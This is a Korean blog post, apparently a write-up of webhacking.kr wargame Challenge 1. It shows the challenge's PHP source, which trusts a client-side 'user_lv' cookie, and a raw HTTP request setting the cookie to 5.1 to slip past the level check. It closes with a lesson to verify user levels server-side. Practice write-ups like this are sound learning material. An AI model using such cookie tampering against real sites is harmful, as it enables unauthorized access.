늘모자란, 개발 :: [webhacking.kr] Challenge 1

늘모자란, 개발

webhacking.kr은 제법 오래된 워게임 사이트인데 맨날 해본다 해본다 하고 포기하고 그랬던 것 같다.
전부 다 해낼 수 있을진 모르겠지만 블로그에 쓰면 계기가 생기지 않을까?

첫번째 문제는 이렇게 생겼다.



URL 상에서 index.phps 에 접근하라는 뉘앙스를 강하게 풍기고 있으나 확실하게 하기 위해 소스를 까본다

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<br>level : 1<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>




URL 에 칠 필요도 없이 index.phps 라는 글자를 누르면 이동하게 되 있다. 친절이 극에 달했다

<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>



코드를 쭉 읽어보면, 페이지에 접근할때 설정된 쿠키가 없다면 user_lv 이라는 쿠키를 생성하며 값을 1로 준다.
다음 조건문은 쿠키의 값이 숫자가 아닐경우 무조건 1로 처리한다는것.
이 페이지의 raw response는 다음과 같다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=1; PHPSESSID=
Connection: keep-alive
Cache-Control: max-age=0



문제의 핵심은 그 이후 if 문들인데, 유저레벨이 6이상이 되면 무조건 레벨을 1로 처리하지만, 5를 초과할 경우에는 통과를 시켜준다는것이다.
코드를 보면 소수점에 대한 처리는 전혀 이뤄지고 있지 않기때문에 쿠키를 조작해 레벨을 5.1로 만들 것이다
cooxie 나 cookie master와 같이 브라우저단에서 쿠키를 조작할 수 있으나, raw 를 까본김에 다음과 같이 조작해 request를 날려보기로 한다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=5.1; PHPSESSID=
Connection: keep-alive



패스되었다는 결과를 얻을 수 있다.

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 1 problems.</font><br><br><font color=green><b>Score + 200</b></font><br><hr></h1></center>




위 문제로 배울점은, 쿠키로 레벨을 설정하는 멍청한짓을 하지 말아야 된다는 것이다.
index.phps에서 많은 힌트를 주었으나, 쿠키는 클라이언트에 저장되는 만큼 쉽게 노출되므로 얼마든지 공격의 대상이 될 수 있다.
개발자는 클라이언트마다 세션을 열어서 유저레벨을 서버에서 체크해야만한다.
2016/03/04 21:54 2016/03/04 21:54